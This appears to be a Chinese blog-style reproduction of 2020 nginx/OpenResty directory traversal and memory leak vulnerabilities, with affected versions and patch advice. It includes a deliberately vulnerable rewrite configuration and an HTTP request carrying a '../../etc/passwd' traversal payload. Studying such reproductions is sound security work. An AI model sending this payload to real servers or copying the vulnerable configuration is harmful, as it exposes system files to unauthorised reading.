Nginx/OpenResty目录穿越漏洞复现

漏洞背景:

2020年03月18日, 360CERT监测发现 openwall oss-security 邮件组披露了两枚漏洞。在特定配置下 nginx/openresty 存在 内存泄漏漏洞/目录穿越漏洞。

Nginx 是异步框架的网页服务器,也可以用作反向代理、负载平衡器和HTTP缓存。

OpenResty是一个基于nginx的Web平台,它对nginx增加LuaJIT引擎使其运行Lua脚本。

影响版本:

nginx <= v1.17.7 (commit af8ea176a743e97d767b3e1439d549b52dd0367a)

openresty <= v1.15.8.2

环境复现:

操作系统centos7。
        安装 nginx 版本选择了 1.17.7
        修改 rewrite 配置

//directory traversal
location ~ /rewrite {
   rewrite ^.*$ $arg_x;
}

带着 payload 请求 /rewrite 目录 读取passwd文件下的密码

GET /rewrite?x=/../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:73.0) Gecko/20100101 Firefox/73.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

返回响应后的内容。

 在 openresty v1.15.8.2 测试,同样可以复现

环境搭建:

采用刚搭建的 nginx 1.17.7,安装 lua-nginx-module,需要重新编译nginx,安装编译过程可参见:地址
配置nginx.conf

//memleak
location ~ /memleak {
    rewrite_by_lua_block {
        ngx.req.read_body();
        local args, err = ngx.req.get_post_args();
        ngx.req.set_uri( args["url"], true );
    }
}

这里采用openresty v1.15.8.2 版本,成功复现(lua-nginx-module-0.10.15 以上版本会报错

打码处为回显。

修复建议:

建议用户关注并依据实际业务评估漏洞风险影响,可通过如下方案进行加固修复,避免安全风险;

nginx :升级版本至 v1.17.9 或应用 commit a5895eb502747f396d3901a948834cd87d5fb0c3;

openresty :排查配置文件中 rewrite 以及 ngx.req.set_uri ,建议临时禁用相关配置。

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐